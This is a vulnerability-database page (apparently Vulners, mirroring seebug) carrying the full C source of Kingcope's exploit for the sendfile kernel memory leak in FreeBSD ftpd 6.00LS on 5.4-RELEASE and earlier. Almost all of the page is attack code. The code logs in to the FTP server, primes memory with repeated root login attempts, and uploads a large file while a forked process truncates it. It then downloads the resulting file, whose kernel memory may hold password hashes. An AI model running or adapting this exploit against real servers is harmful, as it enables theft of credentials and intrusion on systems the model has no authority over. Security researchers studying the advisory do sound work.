Lucene search
K

FreeBSD <= 5.4-RELEASE ftpd 6.00LS - sendfile kernel mem-leak Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

FreeBSD version 5.4-RELEASE ftpd 6.00LS has a sendfile kernel memory-leak exploit by Kingcope. Kernel memory file may contain secret hashes. Exploit tested on FreeBSD 5.3-RELEASE

Code

                                                /*FreeBSD &#60;= 5.4-RELEASE ftpd (Version 6.00LS) sendfile kernel mem-leak
 by Kingcope
 February 2011
 --
 kernel memory file may contain secret hashes and more..
 tested on FreeBSD 5.3-RELEASE

 reference: FreeBSD-SA-05:02.sendfile
*/

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;
#include &#60;unistd.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;netdb.h&#62;
#include &#60;fcntl.h&#62;
#include &#60;unistd.h&#62;

int createconnection(char *target, char *targetport);
void getline(int s);
void putline(int s, char *out);
void usage(char *exe);

char in[8096];
char out[8096];
char out2[8096];

int main(int argc, char *argv[]) {
 extern int optind;
 extern char *optarg;
 int s,s2,s3,s4,nsock,nsock2;
 int c,k,len;
 int fd,lockfd;
 int total_kmem_size=0;
  
 char *target = NULL;
 char *username = NULL;
 char *password = NULL;
 char *writeto = &#34;.&#34;;
 char *targetport = &#34;21&#34;;
 char *myip = NULL;
 char *myip2 = NULL;
 char *myip3 = NULL;
 int octet_in[4], port;
 struct sockaddr_in yo, yo2, cli, cli2;
 char *oct = NULL; 
 
 while ((c = getopt(argc, argv, &#34;h:i:p:l:k:d:s:&#34;)) != EOF) {
  switch(c) {
  case &#39;h&#39;:
    target = (char*)malloc(strlen(optarg)+1);
    strcpy(target, optarg);
  break;
  case &#39;i&#39;:
    myip = (char*)malloc(strlen(optarg)+1);
    strcpy(myip, optarg);
    myip2 = (char*)malloc(strlen(optarg)+1);
    strcpy(myip2, optarg);
    myip3 = (char*)malloc(strlen(optarg)+1);
    strcpy(myip3, optarg);
  break;
  case &#39;p&#39;:
    targetport = (char*)malloc(strlen(optarg)+1);
    strcpy(targetport, optarg);
  break;
  case &#39;l&#39;:
    username = (char*)malloc(strlen(optarg)+1);
    strcpy(username, optarg);
  break;
  case &#39;k&#39;:
    password = (char*)malloc(strlen(optarg)+1);
    strcpy(password, optarg);
  break;
  case &#39;d&#39;:
    writeto = (char*)malloc(strlen(optarg)+1);
    strcpy(writeto, optarg);
  break;
  case &#39;s&#39;:
	total_kmem_size = atoi(optarg);
  break;

  default:
    usage(argv[0]);
  }
 }
 
 if (target == NULL || myip == NULL)
  usage(argv[0]);

 if (total_kmem_size &#60; 10) {
  printf(&#34;size must be greater or equal 10.\n&#34;);
  usage(argv[0]);
 }
 
 if (username == NULL || password == NULL) {
  usage(argv[0]);
 }
 
 s = createconnection(target, targetport);
 getline(s); 

 fprintf(stderr, &#34;populating root hash in memory...\n&#34;);
 
 for (k=0;k&#60;3;k++) {
  snprintf(out, sizeof out, &#34;USER root\r\n&#34;);
  putline(s, out);
  getline(s);
  snprintf(out, sizeof out, &#34;PASS abcdef\r\n&#34;);
  putline(s,out);
  getline(s);
 }

 fprintf(stderr, &#34;logging in...\n&#34;);
 
 snprintf(out, sizeof out, &#34;USER %s\r\n&#34;, username);
 putline(s, out);
 getline(s);
 snprintf(out, sizeof out, &#34;PASS %s\r\n&#34;, password);
 putline(s,out);
 getline(s);
 
 fprintf(stderr, &#34;changing to writeable directory...\n&#34;);
 
 snprintf(out, sizeof out, &#34;CWD %s\r\n&#34;, writeto);
 putline(s, out);
 getline(s);

 fprintf(stderr, &#34;putting file. this may take some time (%dMB)...\n&#34;, total_kmem_size);

 snprintf(out, sizeof out, &#34;TYPE I\r\n&#34;);
 putline(s, out);
 getline(s);
 
 port = getpid() + 2048;
 len = sizeof(cli);
 
 bzero(&yo, sizeof(yo));
 yo.sin_family = AF_INET;
 yo.sin_port=htons(port);
 yo.sin_addr.s_addr = htonl(INADDR_ANY);
 
 oct=(char *)strtok(myip,&#34;.&#34;);
 octet_in[0]=atoi(oct);
 oct=(char *)strtok(NULL,&#34;.&#34;);
 octet_in[1]=atoi(oct);
 oct=(char *)strtok(NULL,&#34;.&#34;);
 octet_in[2]=atoi(oct);
 oct=(char *)strtok(NULL,&#34;.&#34;);
 octet_in[3]=atoi(oct);
 
 snprintf(out, sizeof out, &#34;PORT %d,%d,%d,%d,%d,%d\r\n&#34;, octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
 putline(s, out);
 getline(s);
 
 if ((s2=socket(AF_INET, SOCK_STREAM, 0)) &#60; 0) {
  perror(&#34;socket&#34;);
  return -1;
 }
 
 if ((bind(s2, (struct sockaddr *) &yo, sizeof(yo))) &#60; 0) {
  perror(&#34;bind&#34;);
  close(s2);
  exit(1);
 }
 
 if (listen(s2, 10) &#60; 0) {
  perror(&#34;listen&#34;);
  close(s2);
  exit(1);
 }
 
 snprintf(out, sizeof out, &#34;STOR kernelmemory\r\n&#34;);
 putline(s, out);
 getline(s);
 
 sleep(1);
 
 if ((nsock = accept(s2, (struct sockaddr *)&cli, &len)) &#60; 0) {
  perror(&#34;accept&#34;);
  close(s);
  exit(1);
 }


 k=0;

 char *out3=NULL;
 out3 = (char*)malloc(1024*1024*10);
 if (out3 == NULL) {
  perror(&#34;malloc&#34;);
  exit(0);
 }

 memset(out3, &#39;C&#39;, 10*1024*1024);

 do {
  k += write(nsock, out3, 10*1024*1024);
  if (k % 1000 == 0)
   fprintf(stderr, &#34;\r\r\r%d|%d            &#34;, k, total_kmem_size * 1024 * 1024);
 } while (k &#60; total_kmem_size * 1024 * 1024);
 
 free(out3);

 close(nsock);
 close(fd);
 getline(s);

 fprintf(stderr, &#34;getting file...\n&#34;);
 fprintf(stderr, &#34;forking truncate process into background.\n&#34;);

 unlink(&#34;exploit.lck&#34;);

 if (fork() == 0) {
  fprintf(stderr, &#34;=====START TRUNCATE FILE PROCESS ======\n&#34;);
  s3 = createconnection(target, targetport);
  getline(s3);

  snprintf(out, sizeof out, &#34;USER %s\r\n&#34;, username);
  putline(s3, out);
  getline(s3);
  snprintf(out, sizeof out, &#34;PASS %s\r\n&#34;, password);
  putline(s3,out);
  getline(s3);

  while(1) {
	if (open(&#34;exploit.lck&#34;, O_RDONLY) &#62; 0) {
		break;
	}
  }

 snprintf(out, sizeof out, &#34;TYPE I\r\n&#34;);
 putline(s3, out);
 getline(s3);
 
 port = getpid() + 4000;
 len = sizeof(cli2);
 
 bzero(&yo2, sizeof(yo2));
 yo2.sin_family = AF_INET;
 yo2.sin_port=htons(port);
 yo2.sin_addr.s_addr = htonl(INADDR_ANY);
 
 oct=(char *)strtok(myip3,&#34;.&#34;);
 octet_in[0]=atoi(oct);
 oct=(char *)strtok(NULL,&#34;.&#34;);
 octet_in[1]=atoi(oct);
 oct=(char *)strtok(NULL,&#34;.&#34;);
 octet_in[2]=atoi(oct);
 oct=(char *)strtok(NULL,&#34;.&#34;);
 octet_in[3]=atoi(oct);
 
 snprintf(out, sizeof out, &#34;PORT %d,%d,%d,%d,%d,%d\r\n&#34;, octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
 putline(s3, out);
 getline(s3);
 
 if ((s4=socket(AF_INET, SOCK_STREAM, 0)) &#60; 0) {
  perror(&#34;socket&#34;);
  return -1;
 }
 
 if ((bind(s4, (struct sockaddr *) &yo2, sizeof(yo2))) &#60; 0) {
  perror(&#34;bind&#34;);
  close(s3);
  exit(1);
 }
 
 if (listen(s4, 10) &#60; 0) {
  perror(&#34;listen&#34;);
  close(s2);
  exit(1);
 }
 
 snprintf(out, sizeof out, &#34;STOR kernelmemory\r\n&#34;);
 putline(s3, out);
 getline(s3);
 
 sleep(1);
 
 if ((nsock2 = accept(s4, (struct sockaddr *)&cli2, &len)) &#60; 0) {
  perror(&#34;accept&#34;);
  close(s);
  exit(1);
 }

 close(nsock2);
 close(fd);

  close(s4);
  fprintf(stderr, &#34;=====END TRUNCATE FILE PROCESS ======\n\n&#34;);
  fprintf(stderr, &#34;Wait for the download to complete...\n&#34;);  

  while(1);
 }

 snprintf(out, sizeof out, &#34;REST 0\r\n&#34;);
 putline(s, out);
 getline(s);

 snprintf(out, sizeof out, &#34;TYPE I\r\n&#34;);
 putline(s, out);
 getline(s);
 
 port = getpid() + 1024;
 len = sizeof(cli);
 
 bzero(&yo, sizeof(yo));
 yo.sin_family = AF_INET;
 yo.sin_port=htons(port);
 yo.sin_addr.s_addr = htonl(INADDR_ANY);
 
 oct=(char *)strtok(myip2,&#34;.&#34;);
 octet_in[0]=atoi(oct);
 oct=(char *)strtok(NULL,&#34;.&#34;);
 octet_in[1]=atoi(oct);
 oct=(char *)strtok(NULL,&#34;.&#34;);
 octet_in[2]=atoi(oct);
 oct=(char *)strtok(NULL,&#34;.&#34;);
 octet_in[3]=atoi(oct);
 
 snprintf(out, sizeof out, &#34;PORT %d,%d,%d,%d,%d,%d\r\n&#34;, octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
 putline(s, out);
 getline(s);
 
 if ((s2=socket(AF_INET, SOCK_STREAM, 0)) &#60; 0) {
  perror(&#34;socket&#34;);
  return -1;
 }
 
 if ((bind(s2, (struct sockaddr *) &yo, sizeof(yo))) &#60; 0) {
  perror(&#34;bind&#34;);
  close(s2);
  exit(1);
 }
 
 if (listen(s2, 10) &#60; 0) {
  perror(&#34;listen&#34;);
  close(s2);
  exit(1);
 }

 snprintf(out, sizeof out, &#34;CWD %s\r\n&#34;, writeto);
 putline(s, out);
 getline(s);

 snprintf(out, sizeof out, &#34;RETR kernelmemory\r\n&#34;);
 putline(s, out);
 getline(s);

 sprintf(out, &#34;kernelmemory.%d&#34;, getpid());
 fprintf(stderr, &#34;saving kernel memory to &#62;&#62;&#62; %s &#60;&#60;&#60;\n&#34;, out);

 fd = open(out, O_WRONLY | O_CREAT, 0777);
 if (fd == -1) {
  perror(&#34;open on local &#39;kernelmemory&#39; file&#34;);
  close(s);
  exit(1);
 }
 
 sleep(1);
 
 if ((nsock = accept(s2, (struct sockaddr *)&cli, &len)) &#60; 0) {
  perror(&#34;accept&#34;);
  close(s);
  exit(1);
 }
 
 int k2=0;
 char *in2 = (char*)malloc(1024*1024*10);
 if (in2 == NULL) {
  perror(&#34;malloc&#34;);
  exit(0);
 }
 do {
  k = recv(nsock, in2, 1024*1024*10, 0);
  if (k &#60; 1) break;
  k2+=k;
//  if (k2 % 1000 == 0)
   fprintf(stderr, &#34;\r\r\rREAD=%d BYTES       &#34;, k2);

  if (k2 &#62; 1024) {
	lockfd = open(&#34;exploit.lck&#34;, O_CREAT|O_RDWR, 0777);
	sleep(1);
	close(lockfd);
  }
  write(fd, in2, k);
 } while (k &#62; 0);

 free(in2);

 getline(s);

 close(nsock);
 close(fd);
 close(s);  
 
}

int createconnection(char *target, char *targetport) {
 struct addrinfo hints, *res;
 int s;
 
 memset(&hints, 0, sizeof hints);
 hints.ai_family = AF_UNSPEC;
 hints.ai_socktype = SOCK_STREAM;
 
 if (getaddrinfo(target, targetport, &hints, &res)) {
  perror(&#34;getaddrinfo&#34;);
  exit(1);
 }
 
 s = socket(res-&#62;ai_family, res-&#62;ai_socktype, res-&#62;ai_protocol);
 if (s &#60; 0) {
  perror(&#34;socket&#34;);
  exit(1);  
 }
 
 if (connect(s, res-&#62;ai_addr, res-&#62;ai_addrlen) &#60; 0) {
  perror(&#34;connect&#34;);
  exit(1);
 }
 
 return s;
}

void getline(int s)
{
 memset(in, &#39;\0&#39;, sizeof in);
 if (recv(s, in, sizeof in, 0) &#60; 1) {
  perror(&#34;recv&#34;);
  close(s);
  exit(1);
 }
 
 fprintf(stderr, &#34;&#60;\t%s&#34;, in);
}
 
void putline(int s, char *out) {
 fprintf(stderr, &#34;&#62;\t%s&#34;, out);
 
 if (send(s, out, strlen(out), 0) == -1) {
  perror(&#34;send&#34;);
  close(s);
  exit(1);
 }
}

void usage(char *exe)
{
 fprintf(stderr, &#34;%s &#60;-h host&#62; &#60;-i your internal ip&#62; &#60;-s size in MB to read from kernel&#62; [-p port] &#60;-l username&#62; &#60;-k password&#62;&#34;
 &#34; [-d writable directory] \n&#34;,
exe);
 exit(0);
}
/* EoF */

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation